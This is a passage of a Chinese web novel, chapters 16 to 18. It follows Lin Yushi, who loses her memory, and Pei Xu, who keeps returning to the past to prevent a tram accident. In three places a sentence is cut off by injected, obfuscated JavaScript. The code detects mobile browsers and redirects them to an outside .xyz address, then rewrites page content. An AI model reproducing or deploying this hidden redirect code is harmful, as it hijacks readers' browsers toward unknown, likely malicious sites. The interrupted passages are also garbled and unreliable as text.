两天完成一张数学试卷,并完完全全的弄清楚上面的每一个题,如此这样下来一段时间,数学成绩有了不小的突破。 其次她想感谢的人是裴叙。偶尔有些题目写不出来,她会反反复复地去打扰他,只为了把那道题给问清楚。裴叙从来没有不耐烦,总会带她一起梳理解题思路,寻找破题点。 于是在看了一眼数学成绩栏上写下的124分,拿起桌上的数学答题卡,准备一路小跑到隔壁班找裴叙,只为了去告诉他这个消息。 只是她刚一出门,眼前忽然覆下来了一道身影。恰好看见那人的校牌,林予诗不禁往后退了一步。 是隔壁班的张昊。 谨记姜时月上次同她说的话,林予诗拿着答题卡和成绩单,准备绕道避开他。匆匆说了一句“不好意思,麻烦让让”就准备迈开步子往前走,却不料被张昊给拦住了。 “没挡道,林予诗,我就是来找你的。” “找我?”林予诗疑惑,出于礼貌,她回应说,“你是有什么事情吗?” “我看你作文这次又拿了52分,又被贴在了范文墙上,我想来让你帮我看看,我这个49分的作文,该怎么提升?”说着,张昊将自己的试卷给林予诗递了过去。 恰好此时,裴叙正好从自己班的教室后门里走了出来。习惯性地看向林予诗所在班级的后门的方向,这一次,他的神经立即警觉。 眉间微微一皱,他看见了不远处张昊手里的叠起来的纸。 这家伙又做什么?又递什么信是吗? 林予诗不清楚他为什么要把答题卡给折起来递给她,所以,她本着防备的心,没有立即伸手接下。 她下意识地看向了隔壁班后门所在的方向,正好,看见了裴叙。 只见裴叙与她招了招手,微笑着说了一句“Hi”。 她立即就想到了脱身之策:“同学,我和裴叙约了课间见面,失陪啦!” “对了!”张昊抓紧空子,“我也进了作文的春令营,初赛我的成绩还不错,到时候我们春令营见!” 林予诗礼貌地说了句“加油”,然后像是找到了救星一样,朝裴叙跑了过去。 而裴叙也没有停留在原地等待,他也朝她的方向走了过去。 走廊上人来人往,于人群中锁定方向。 “还好你在走廊上,不然我都没法这么快脱身。” “他又去打扰你了?” “下课突然拦住了我的去路,说什么让我帮他看看作文。” “噢。”裴叙故作一副绿茶的样子,“所以,我只是你的工具人咯?” 他说完那句话后,还故意地叹了一口气,在林予诗的眼里,此刻的他,就像是一只大雨天里被淋湿的落水小狗。 于是赶紧在心里敲了敲自己的脑门——想什么呢林予诗,不能去想这些! “不是!”林予诗说,“我出教室就是来找你的。” “找我?”裴叙的语气里故作着些许傲娇,“那我要是不在教室里怎么办?” “嗯……”林予诗灵机一动,“我带了数学试卷,我在空气里挥一挥数学试卷,你就会过来啦!就像摇铃铛一……样。”忽然察觉自己似乎顺着某些不应该出现的思绪说了些什么不应该说的话,本想立即收回,却已经看见他脸上的笑了。不知道是不是因为她说的话而笑的,反正他听见了,那句比喻也收不回了。 “是什么事情,让你变得这么的……” 可爱的? 话说到一半戛然而止,最后三个字被自动消音,裴叙在心里重新措辞:“变得这么的……会写比喻句的……” “到底是一家人了,我在想什么你一下就能知道!”林予诗说着便拿出了在手中提了很久的数学答题卡和成绩单,“你看!我数学这次考了124!厉不厉害!” “厉害!”发自真心的恭喜,裴叙看着她的答题卡,忍不住竖大拇指,“试卷没白写。” “还要谢谢你帮我答疑呀。”林予诗说,“我过来就是谢谢你的。” “那你不应该先谢谢你自己吗?” “当然啦,已经谢过我自己啦!” 走廊里响起了上课铃,于是带着些许依依不舍聊天结束的思绪,准备回班上课,约定好晚上放学一起回家,一定要等彼此。 裴叙回班的时候,班上正在裁单科成绩单。成绩单分散给了很多位同学去帮忙用小刀裁剪,有人想借机去看一眼别人的分数和名次。 刚进教室,裴叙就看见了张昊正坐在他的椅子上,好在江潮声这会不在教室里。 “有事?”裴叙礼貌询问张昊。 “不好意思。”张昊停下了手中的小刀,“在帮忙,没看清这是你的座位,一不小心就坐下来裁纸了。”说完,张昊立即就站了起来,示意给裴叙让座。 连带着拿起了还没裁完的成绩单,下一秒,那本《永不告别》就出现在了两人的视线。连同着一起出现的,还有封面上的两道划痕。 气氛在一瞬间里沉入进了尴尬,张昊不好意思地看向了裴叙,解释说:“我刚刚真没看见这本书在这里,裁的时候,我以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725734|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为……” 拿着那本书在手中仔细地看了看,刀口不深,只划破了封面,但裴叙依旧心痛万分。 “要上课了,你先回座位吧。”裴叙说。 老师已经走进了教室,所以,张昊也不好坚持什么,便什么都没说地回到了自己的座位。 - 晚上放学,如约收拾好书包,去到她们班的后门口去等她。 只是这次,正好在走廊上碰见了她。 “走呀,回家。” 学校里洋溢着放学时的欢笑,他们很久没有在这个点下楼回家了。 “今天姜姜托我问问你,江潮声最近的情况。” “他还好。”裴叙说,“正好,刚刚下课前,江潮声给我发了信息,让我叫你帮忙转达给姜时月说,他一切都好。” “今天中午姜姜看见新闻了,说他妈妈的案子一审判了,她有点担心他。”林予诗说,“说来也是巧,我妈正好是江潮声他妈妈这个案子的辩护律师。” “林阿姨辛苦了。”裴叙说。 “下周一就要去春令营了,时间过的真快,春令营结束,夏天就要到了。”林予诗说,“你说时间为什么会过的这么的快!” “不知道,我总感觉和你待在一起的时候,时间就会变得很快,但我总希望,这个时候时间能够再慢点,再慢点。” “为什么会觉得时间变得快了呢?”林予诗说。 “这是一种很奇妙的感觉,等你哪天有机会体会,你就知道了。”裴叙不敢说太多,只会把那些心虚藏在身体里。 怪自己青春期太过于活跃,林予诗最近和他走在一起时,心跳总是会变得频率加快。 她知道,这是什么讯号;但她也知道,于她而言,在他身上,是不能出现这种讯号的。 不能够再继续沉沦在本不应该出现的意识中,林予诗在心中暗下决定,从此刻开始,是时候要与他间隔开一点距离了。 不为别的,只为了让自己能够彻底摆脱掉那种思绪。也许心跳错拍的轻颤,是一种错误判断而导致的错误反馈呢?不管怎样,先疏离一点总归是好的,趁一切都还有时间,都还来得及,这样才不会让自己在能够看见他的方向上越走越深,越走越远。 楼梯间里的灯又坏了,这两天上楼只能够自己拿着手机里的闪光灯。所以每一步都变得小心翼翼,看清了阶梯后,才敢落下那一步。 不再继续牵着他的书包肩带,林予诗一个人走在他的身后。 反复在心里纠结着那个和他有关的问题,没注意,差点踩空。 然后出于本能的,她顺手牵住了走在她前面的裴叙。只是不巧的是,这一次,她牵住的,是裴叙书包的拉链。 就这样,书包里的书在不太亮的光线中散落一地,发出了哗啦啦的声响,和那天他们在楼梯间里碰面时的声音一样。 于是林予诗脱口而出那句“不好意思”,而后立即弯下身子,去捡掉落在地上的书。 只是她没想到,自己捡起来的第一本书,是那本她送他的见面礼,封面上还有一道她从未见过的划痕痕迹。 16.Chapter 16 她会忽然看见那本书的这件事,也是在裴叙意料之外的。 只是更令他感到意料之外的是,林予诗像是没看见那道划痕一样,把书给他递了回来,放进了他的包里,就继续去捡剩下的掉落在地上的书去了。 就这样不说话,捡完了掉落在地上的书,原本想要和她解释那道划痕的来历,却没想到她一言不发的就往楼上走了。 脱口而出一句“谢谢”,除了本意之外,更多的是一种挽留的语气。 可惜,她没有停下自己的脚步,于是他只好默默地跟上前去,走在她的身后。 “我有点困。”林予诗说,“能不能让我先去洗漱?” “好。” 于是客厅的小书桌那就变成了一个无形的岔路口,他们回到了各自的房间,准备去做各自要做的事情。 拿着衣服去到浴室,林予诗立即就打开了淋浴喷头。哗啦啦的水声回响在浴室里,林予诗站在洗手台前,慌忙地用冷水给自己洗了一把脸。 不知道往脸上拍了多少的水,久到雾气开始在玻璃上堆积,林予诗才从洗手台前抬起头。沾着冷水的手一点一点地擦去镜子上的雾气,她看清了满脸是冷水水滴的自己。 怎么会? 时间线重置之后为什么会发生这样的事情? 和裴叙之间所发生的一切,在林予诗的记忆里,从未发生过。 时间线重置,难道不应该按照和之前一样的轨迹发展吗?为什么会出现裴叙,为什么自己又会时不时地在心里想起他? 她越发的觉得,那所谓的时间线重置之前发生的一切,只是自己的一场梦。 思绪坠入进繁杂的深渊,关掉一旁的淋浴喷头,哗啦啦的水声消失在了浴室里。空气变得安静,只剩下了湿漉漉的水汽。 原本想要保持距离,却发现自己没有办法能够很好的做到。 所以,不能够再这样继续下去了。 这是林予诗今晚第二次在心中出现这样的想法。 以前不是没有发现,只是那时候觉得,自己一定会处理好和他之间的关系的,一定不会让这段关系从她这里开始产生变质的感觉的。 只是今晚这件事开始完完全全地占据她的心,让她忍不住去多思虑一些。 于她而言,他不是能够靠近的人,他是需要被推开的人。 那种明知不可为的事情,还是趁早选择放弃吧。不然,是会变成执念的,会不受控制地深陷进执念里面去的。 既然今晚将这个问题完完全全地思索了一番,不如就从今晚开始做出改变,及时阻止执念的出现。 洗完澡从浴室里出来,林予诗忽然感觉到一阵头晕,她扶着墙,慢慢走回自己的卧室。 刚好此时裴叙从房间里走了出来,见到林予诗的样子,他立即朝她走了过去:“怎么了?头晕了吗?” 害怕接触,不敢伸手去扶她,语气里全是担心。 “没事。”林予诗摆了摆手,尽管眼前很模糊,“低血糖而已。一会我吃点东西就好了。” 模糊的视线,让她忍不住紧闭住了自己的双眼。 她在心里谢谢他的关心。 只是忽然漆黑一片的视线前,闪过了一阵白色的光。那道一闪而过的白色的光没有停下,经过了她的脑海。于是她下意识地将手从一旁的墙壁那撤开,单手扶住了自己的双眼。 当时,那种晕眩的感觉还没有在身体里消散,林予诗重心不稳,一下就栽到了裴叙的怀里。 意识像是在一瞬间里消失,像是陷入进了未知的境地。 那里什么都没有,只剩下一片刺眼的白色。 那些不是雪,也不是天空。 林予诗不知道那时自己站在什么地方,周围什么都没有,只有她自己。 试着往前走一步,接着,只感觉自己身体在下坠,在落下,那种失重的感觉伴随着时间越来越强。 在失重感即将停下来的那个瞬间,林予诗猛然睁眼。 于是开始大口大口的喘气呼吸,她下意识地用手摸着自己的心脏。 看向旁边正扶着自己的人,林予诗眉间轻轻一皱—— 他是谁? 为什么会出现在我家里? 合租室友? 那就是不熟的人咯? 嗯,妈妈之前说要搬家,搬家后会有一位她朋友的儿子要住进来,他应该就是合租的同学。 “谢谢。”林予诗说,“我刚刚没站稳。谢谢你扶着我,没让我摔倒。” “和我说什么谢谢?”裴叙边说边从口袋里拿出了一颗柠檬糖,给林予诗递了过去,“给你的,你刚刚低血糖犯了,这个或许有用。” 嗯?是自己喜欢吃的那款柠檬糖。 面前的这位同学看上去有点自来熟,不过也蛮热心的。为了不让气氛坠入尴尬,林予诗选择接下了糖:“谢谢。” “快去忙吧。”林予诗将糖塞进了口袋,“早睡。” 于是扯上一抹礼节般的微笑,林予诗准备离开这里,回到自己的房间。 和裴叙擦肩而过,那一瞬间,裴叙忽然叫住了她。 “林予诗。”裴叙说,“你还记得我叫什么名字吗?” 心中忽然有种落空的感觉,林予诗想皱眉,却故意将那种感觉压进了身体。好在他没有换掉校服,校牌还挂在那上面,林予诗看见了他的名字。 她说:“我知道,你叫裴叙。” 听见她呼唤自己的名字,裴叙立即松下了紧张的思绪:“你记得就好。” “嗯。” 裴叙在浴室里洗澡,林予诗收拾完书包,从里面拿出了数学试卷,边走到了客厅里的小桌子前坐了下来。 窗户没有关,客厅里的风有点大,在开始研究数学题之前,林予诗起身关上了窗户。 裴叙很快就从浴室里走了出来,他收拾完了自己的一切,也拿了数学题坐了过来,坐在了林予诗的旁边。快高三了,一起学习到这么晚很正常。所以,林予诗对“合租室友”裴叙的落座并不感到意外。 就这样,一直安静到了十二点。觉察到困意,林予诗先收拾了自己的试卷,准备回房间睡觉。临走前,她礼貌性地对裴叙说:“早睡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732853|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 裴叙抬起头,像只小狗一样看向她点点头:“你也是,晚安。” 被他的那双眼睛轻轻拨动了心弦,心里平静的湖水,在这时候不免地泛起了些许涟漪。 林予诗慌慌张张地眨巴了两下自己的眼睛,抱着数学试卷匆匆转身。她知道自己的脸上此刻正在泛着红晕,她可不想让他知道。 “晚安!”她落下一句话,逃往自己的房间。 门被关上,发出了“砰!”的一声,完完全全掩盖住了心跳的频率。 裴叙见她的反应微微一笑,随后将视线落在了她方才坐的地方。 自己一个人写题太过无聊,准备回房间睡觉。 只是他刚起身,就注意到了落在地上的便签纸。捡起那张便签纸,裴叙的心情顿时跌入了谷底——这是他方才写的,上面写着那本她送他的书上为何有划痕的解释。 方才没有在她坐的地方的桌上看见这张便利贴,见她对他好像不那么冷淡,还以为是她看到了之后将它收了起来,没想到,是被她丢在了地上。低着头,裴叙在心中自言自语,看来,她还没有原谅我,没有原谅我没有收好送她的礼物。 他不知道,她并没有看见这张便利贴;他不知道,便利贴掉落在地上,是被风吹的。 不论如何,这都还是重置时间线前的事情走向。庆幸的是,她并没有像重置时间线前那样,在某一瞬间里忽然忘记他的名字。裴叙心想,这样也好,至少不算太糟,总比忘记他名字这件事要好。 坐在书桌前,林予诗看着眼前的数学题,手拿着笔悬停在空气中迟迟没有落下,余光看见了那本封面上有一道划痕的《永不告别》。 怎么会?自己对那名叫做裴叙的男生为什么没有一点印象? 就算是陌生人,一起生活在屋檐下如此之久,也不应该是全然不知和他有关的一切。 算了,明天再想吧。林予诗打算收起试卷,上床睡觉。 只是刚拿起自己的书包把数学试卷放进去,她就注意到了一个米白色封面的本子。那个本子上面写着草稿两个字,封面上还有些许褶皱的印记。 顺手将书包放在一边,从包里拿出了那个米白色的草稿本。关掉书桌上的台灯,在床沿坐下,轻轻触碰床头灯的开关。 不算太亮的视线里,林予诗盯着那本“草稿本”看了很久。窗外忽然闪过了一道闪电,将夜照亮了一瞬。紧接着传来了一阵巨大的雷声,将她的注意力重新聚集在眼前的本子上。 窗外在顷刻之间落下大雨,传来了淅淅沥沥的声音。 自己写题写草稿向来喜欢拿一张白纸去写,不会刻意地去买一本草稿本,她知道自己的习惯。于是,手轻轻拿起了封面的折角,林予诗翻开了那个草稿本的第一页。 第一页有点泛黄,上面只写了一句话: “林予诗,如果有一天,你发现了这一本日记,请你一定要打开看看,这里是你的记忆。” 落款是她的名字。她确认,这是她的笔迹。 思绪就这样忽然坠入进落着大雨的深夜—— 我失忆了? 17.Chapter 17 凌晨两点,熬不下去的林予诗关掉了床头灯,趁着完全浮现在身体里的睡意,闭眼入梦,手中还拿着那本没有看完的日记。 林予诗此刻想不起来自己是在什么时候开始写日记的了,也不清楚第一页的那句话,自己又是在什么时候写的。 一直到隔天早上准备出门上学,林予诗都没有找到这两个问题的答案。 她在心中叹气,随手整理了一下自己的校服和校牌。想不起来这两个如此重要的时间,似乎也就证明了,自己真的是如日记本中写的那样失忆了。 和裴叙一起走在去学校的路上,慢慢回忆着昨天在日记中看到的记忆——自己的好朋友叫姜时月,姜时月喜欢裴叙的朋友江潮声。裴叙不是别人,不是什么所谓的租客,是她母亲恋爱对象的儿子,算是她的哥哥。 还有两件标记了日期的事情—— 第一件事,下周要去参加作文竞赛;第二件事,暑假要给编辑交出版稿。 哦对了,还有一件事—— 那本在小书桌上看见的、封面被划了一道划痕的书,是她送给裴叙的见面礼。 一想到那个不算太小的划痕,林予诗就有点生气。不是因为别的,只是在想他为什么没有保护好她送给他的礼物?这家伙会不会是故意的,想气她而划的划痕?告诉她自己不想和她住在一起,成为她的哥哥?表面相处的礼尚往来,没想到背地里是这样的! 林予诗用余光看了他一眼,已经在心里连续做了好几个决定。她要在她的那本书里,把裴叙写进去,写成一个大反派! “想什么呢?”裴叙看着她一副心不在焉的样子,忍不住问了一句。 “没想什么。”林予诗说,“要迟到了,我先走了。” 她说完就快步走向了教学楼。 - 周五下午放学前,学校召开了一次广播会,交代最近小巷子附近有小混混拦人要钱的事情。学校还在追踪处理这件事,年级主任提醒大家上下学的时候注意安全。 于是下了课,裴叙立即就去了林予诗她们班的后门口。远远望去,只见林予诗的座位那空无一人。 她桌上正摆着上次见面时他送给她的那个白色的小狗图案的马克杯,裴叙定睛一看,那杯子里正摆着几支笔。 裴叙苦笑。他知道,这是她的“反击”,这会子她肯定觉得,那本书上的划痕是他故意划烂的,觉得他没有保护好她送他的礼物,所以才会把他送给她的马克杯,当作笔筒。 她一定是想故意气他! 裴叙冷笑,心底里却是高兴的。至少她有她的回应,没有把他置之不理晾在一边,没有装作不认识他。现在有这一点,裴叙就已经很满足了。 毕竟,只要不是绝交,关系就有机会去慢慢变好。 且这事他自有分寸,按照以往的经验来说,他这几天应该能够找个机会把这件事说清楚。 只是他不知道的是,会给到他一个怎样的契机去说清楚这件事,因为从这次重置时间线开始,出现了很多很多原先时间线上没有发生过的事情,他开始不确定往后事情发展的走向起来。 这种时间线事情的不对劲有且仅有这一次回来发生了,裴叙想了很久都没有想到一个合理的原因。 正在脑海中飘散着复杂的思绪,裴叙的视线里,只见林予诗招呼都没打的匆匆路过了他的身前,走进了教室。 教室里还有她们班的其他同学,裴叙不好直接走进去叫她。为了防止引起尴尬回头,裴叙在那什么话都没说,只是默默地靠在门框边,等着她收拾完书包。 裴叙都想好了,就在她收拾完书包回头的那个瞬间,他就如往常那样,和她打个招呼。 可这次,她却没有回头。背上书包,径直往教室前门走了。 完了。裴叙忽然察觉到心脏有种落空失重的感觉。 她真的生气了! 于是立即从门框边离开往前门那跑,计划在赶在她出教室之前跑到教室的前门门边。 刚刚好,那时候林予诗正好走到了教室的前门。 只是裴叙的忽然出现,让林予诗没有很快地反应过来现在是什么情况。 没有很快的“刹住车”,两人不免地撞了个满怀。 但两人都没有发出声音,默认般的闭上了嘴。看见了彼此校服上正别着的校牌,林予诗和裴叙这时候才发现,这一整天,他们戴的都是对方的校牌。 心脏在看见对方蓝底证件照的那一刻出现了错拍轻颤的感觉,不敢看向彼此的视线,只怕这阵错拍轻颤的感觉变得更加猛烈。 于是将头看向不同的方向,躲避着视线的交错。 裴叙率先打破了沉默的空气:“你刚刚是不是假装没有看见我?” “嗯?”林予诗从门口那走到了走廊上,将裴叙扯到了一旁,“你刚刚在哪?” 林予诗语气真挚,言语间全是疑惑。 “我刚刚就在你们班教室的后门口。”裴叙的语气里全是委屈,像一只被忽视了的小狗。 “没看见。”林予诗接话,语气冰冷,忽然感觉这么说好像不大对,有点不礼貌,所以林予诗立即补了一句,“不好意思啊,刚刚在想数学题。” 这是事实,刚才不在教室里,是因为去办公室找数学老师问题去了。 “你不会……忘了我们放学要一起回家吧?”语气里夹杂着试探,裴叙小心翼翼地说。 她没忘,她压根就没忘记这件事。只不过回想起那本封面被划了一条划痕的书,林予诗心里便总觉得不是滋味。况且,他是她哥,从日记里看,以及刚才在门口遇见他时心跳出现的种种反应来看,林予诗的直觉告诉她,自己必须要与他隔开距离,不能够再因为他,而出现那种心跳错拍的感觉。 所以,这是个不错的契机,让自己疏远远离他一点距离的契机。 就算他后面问她为什么这样,似乎还有个“因为你不珍惜我送给你的书”的理由来说服这一切。而且至少这样,自己心底的思绪不会暴露。 林予诗觉得很奇怪,在看见日记本之前,自己就对他产生了那种日记本里所写的思绪。看来,自己的感觉还蛮从始至终的。林予诗在心里肯定自己,就算是自己失忆了,自己也不会变成一个“渣女”。 “我最近想自己一个人回家。”林予诗顺理成章地说出借口,“写书遇到了一点困难的地方,或许自己走走,能够想到新的东西。” “可是……” “没什么可是的。”林予诗摆了摆手,像是下定了某种决心一样,说完就往前走,“以后我们少说一点话,对我们之间都好。” 他不说话,只听见走廊外忽然落下的大雨发出的淅沥声,然后默默地跟了上去。 裴叙就这样默默地走在林予诗的后面,隔着一点距离。两人一前一后,就像是不认识的陌生人一样。他很多次抬起头,在心里默默祈祷,她能回头看他一眼,哪怕一眼都好。 可是她没有。她没有回头,没有停下脚步,一直在往前走。 林予诗想听一会歌,从口袋里拿出耳机。只是耳机还没戴上,一道身影忽然就从旁边窜了出来,说:“站住!附中的?” 本能地停下脚步,林予诗抬头看向眼前的人。 正当想该如何是好的时候,裴叙出现在了她的身后:“有事?” 听见他声音的那一秒,悬空的心忽然就放下,心里不再继续紧张和慌张,连看小混混的眼神都变得更加凛冽了几分。 面带口罩穿着外校校服的小混混不依不饶:“不是哥们,你们什么关系啊,少管闲事,我找她要点钱就放她走。” 裴叙面不改色,很自然地牵起了林予诗的手:“你说我们是什么关系?” 林予诗立即明白了裴叙的意思。眼见面前的人身后,走来了两三个人,来势汹汹,还抄着家伙,像是势必要从他们手中抢一笔钱一样。于是,她给他的手发了信号,轻声说:“跑!” 收到信号,调转方向,裴叙带着林予诗掉头就往前跑。 巷子里传来了一阵呼唤:“他们要去告老师!快追!” 不敢停下一秒,两人拼尽全力往前跑,很快就甩开了那一群人。好在遇见那群人时,大雨已经停下。不然,都不敢想象,这时候两人已经淋成什么样了。 喘着气,面对面站着看向彼此。才发现,他们跑到了离家有一点距离的城市观景公交站。 观景有轨电车会经过家门口,两人决定,坐趟观景车回去。 有轨电车很快就摇着“叮叮当当”的铃声开进了站台,车门开启,林予诗和裴叙走上了列车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737710|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。窗边的座位刚好还剩下两个,林予诗和裴叙下意识地走向了那两个座位。裴叙知道,林予诗喜欢坐在窗边。所以他伸手示意,让她坐进去。 林予诗轻声回了一句:“谢谢。” 有轨电车缓缓加速驶离了站台。雨停的春末傍晚,在忽然之间上演了夏夜里的那份蓝调瞬间。湿漉漉的空气沿着打开的车窗缝隙被风带进了车厢,竟然让人嗅到了一丝初夏的味道。 那时的林予诗终于明白,自己和裴叙之间,似乎真的不太一样,不仅仅只是停留在认识的那一种关系。想起还有一半的日记没有看完,林予诗匆忙从包里翻出了它,翻到了折角的那一页。 却忽然发现,上面写着“后面的这些文字,和裴叙有关”。 缓缓翻开后面的那一页,那些模糊的、消失的记忆瞬间,跟着她亲笔写下的笔迹,一点一点地复现在了眼前。 窗外的蓝调渐渐沉入深色,林予诗收回那本已经看完的日记,看向了身边的裴叙。 那时,裴叙正戴着有线耳机听歌。 她着急地扯了扯他的耳机线。看见他按下了暂停之后,她用着略带慌张的语气问: “如果有一天我忘记了我所有的记忆,我在一瞬间里不认识你了,你会不会不离开我?” 话音落下,裴叙还没来得及回答林予诗的那句话,只感觉有轨电车在一瞬间里忽然加速。 跨越了下一站的站台,一直没有停下。 车窗外的蓝调夜晚开始消散,身边的一切都在不停地后退着,让人看不清楚周围的一切。等再一次看向窗外夜空的时候,周围的视线里只剩下了一片雪白。 周围的一切就这样消失不见,毫无预兆,林予诗不知道自己是在什么地方。她想要离开这,离开这个只剩下白色的世界。于是她开始用尽全身拼命往前跑,哪怕看不见要去到什么地方。 失重的感觉再次出现在身体里,林予诗只察觉自己没有再继续向前,转而变成了坠落。 就在即将失重感即将结束的那一瞬间,林予诗忽然清醒了过来。 心脏还在扑通扑通的跳动,似乎还没有从刚才的纯白里缓过来。大口喘着气,不敢闭上眼。 试着努力清晰自己模糊的视线,慢慢发现自己是躺在床上的。 周围是浅蓝色的墙壁,窗帘拉上,看不见外面的天气。 紧接着,声音和嗅觉开始在脑海中出现反应。她闻到了消毒水的味道,她听见了脚步声正在向她靠近,她听见有人说“病人苏醒”。 微微偏头,林予诗看见了满脸愁容和担心的姜时月,江潮声也在一边。忍不住不让眼眶中泪水落下,林予诗瞬间就感觉到脸颊上划过了一滴泪。 见状,姜时月和江潮声走上前来,见她似乎是有话要说,于是姜时月侧身靠近了她些许。 “我好像,梦见了裴叙。”林予诗声音颤抖,“我梦见和他刚认识的时候,我梦见我忘记了他,我梦见我有一本日记。他现在在哪?我想见他。” 自知瞒不过林予诗,姜时月也知道林予诗会问到底的性子,于是她措好辞解释说:“那天你们一起坐的有轨电车出了事故,陷入了昏迷。有轨电车的那场事故后的没多久,裴叙就醒了过来,逐渐好转。只不过……”姜时月说着停顿了一下。 “只不过什么?” 江潮声接话继续说:“只不过,这段时间你几乎一直都是昏迷的,今天上午醒来过一次。当时,你忘记了一切,只记得你自己是谁。医生说,你出现了TGA症状。” “我昏迷的这段日子,有没有发生什么事情?现在是什么时候?” 江潮声说:“现在是高考后,这段日子,裴叙每天都会来这里和你说说话。对了,他录了音,存了下来。”江潮声话音落下之后,姜时月便将一个随身听和一条耳机线递到了林予诗的面前。随后两人走出房间站在了门外,给她留了能够一个人待一会的空间。 那时,林予诗只记得方才在“梦”中经历的一切,后面和裴叙发生了什么,她依旧没有一点印象。戴上有线耳机,手颤抖着,点开了第一条录音,滋滋的电流声随即传来—— 那是她高二那年一不小心偷偷录下的,裴叙演讲时的录音。 心跳依旧会因为听见他的声音,出现那种似是在错拍轻颤的感觉。 18.Chapter 18 “喂!小伙子,醒醒,到终点站了。”检查车厢的司机晃了晃裴叙的肩膀。 意识像是在一瞬间里被成功唤醒,裴叙缓缓睁开双眼,视线里暂存着一片模糊。在恍惚中确认自己一不小心坐到了终点站,裴叙再一次闭眼,试图去消散那种模糊的感觉。 “不好意思。”几秒钟之后,裴叙缓过来了,“给您添麻烦了。” 司机师傅安慰地拍了拍裴叙:“年轻人,要多注意休息,一不小心坐过了站,还的要倒回去一趟。” “当看风景了。”裴叙笑着回话。 司机师傅也笑了一下:“心态好,比什么都重要。快去站台上候车吧,再过十五分钟,末班车就要来了。早点回家。” “谢谢。” 走出车厢来到站台,身后的那趟列车关上了门,缓缓驶离。裴叙转头看向离开的列车,一直注视着它远去,直到消失在弯道转角。 抬起手腕看了一眼手表,发现手表已经没电,停止了转动。无奈只好看向站台上的仿古式的挂钟,确认着时间,也确认着日期。 他知道,自己刚结束第20次回到过去。 每一次回到过去之后,他都想试着去阻止那一场高考结束后的车祸的发生。因为,他不想让她这辈子因为车祸这件事,而受到更大的折磨。 只是每一次的结局都是一样的,没有发生改变。因为回到过去的终点,会在高二那年春天走到尾声的那一刻到来,一切的一切,会在一念之间全部烟消云散,让他根本来不及去抓住和她有关的一切,他压根就等不到高考结束那个暑假的到来。 在这20次的回到过去里,每一次,林予诗都会在一个时间点上失去记忆,遗忘掉那些和他有关的一切。 被忘记20次,那就重新让她认识他20次。 他还记得那天在有轨电车上对她说的话,那时候,他们高二,为了躲避学校边小巷里的小混混,一直跑到了离家很远的地方。 她那时候问他:“如果有一天我忘记了我所有的记忆,我在一瞬间里不认识你了,你会不会不离开我?” 从他此生第一次听见她说这句话开始,一直到经历的20次回到过去,总共21次听见,他回答了21次,就像是一个被说了21次誓言。 他说:“林予诗,无论你走到什么的地方,无论下一秒你是否还会记得这个世界,我都会走在你的身边。我不会丢下你的。” 这句话自他第一次说出口之后就已经牢记于心,在经历了21次的回答之后,早已成为了此生他永远不会忘记的誓言。 翻开手机的备忘录,又看见了那条置顶的内容。轻轻点开,周围树上的夏蝉忽然停止住了声音。 世界沉入进一片安静。 站台上,椅子旁的路灯正在闪烁,像是在传递着什么讯号。裴叙看向一闪一闪的光线,很自然地就看见了那个被挂在路灯下的时钟。 指针开始不停地旋转,日历的日期数字开始慌乱跳动变换。 站起身来,只见身上的衣服变成了冬天穿的大衣,脖子上多出来了一条深蓝色的围巾,身上多了一个书包。 站台上的路灯开始变得稳定,不再继续闪烁着光线。裴叙注意到,日历上的数字已经停下了变换,定格在了2024年2月4日,立春。 耳边传来天气预报:“2024年立春前后,受强烈冷空气的影响,长宜将会有降雪天气的出现……” 冷空气?降雪? 裴叙正回想着那年那天的记忆,只见视线中出现了纷飞飘扬的雪花。 一片雪擦过了睫毛,连带着视线都变得模糊了些许。于是光线变成了光晕,昏黄色的光圈充斥在周围。 他不知道模糊了他视线的,究竟是那片雪,还是眼眶里徘徊的泪水。 他意识到,他回到了几个月前,回到了高三这年的春天。 这算是他第21次回到过去。 只是他暂时还不清楚第21次回到过去为何会突然出现,为何是回到了高三这年而不是高二那年。 疑问像积雪一样开始在心中层层累积,裴叙无法很快地得到答案。 对面的站台上进来了一趟列车,等乘客下车之后,列车又叮叮当当地驶离了站台。 缓缓收回飘散的思绪,裴叙提步往前走,准备回家。就在抬头的那一瞬间里,他忽然看见不远处光晕落下的那个地方,出现了一个熟悉的身影。 她撑着伞,缓缓朝他所在的方向走来。 在看见那身影出现在光晕里的第一秒,他就确认了是林予诗。 于是,不愿意再多犹豫一秒钟,不管此刻的雪下的有多大,不管下一趟电车会在什么时候停靠在站台,裴叙开始向她走来的方向,向着那道光晕落下的地方跑去。 “你来啦?”刚刚想起来这段记忆,彼时的语气里还夹杂着些许疑问语气。 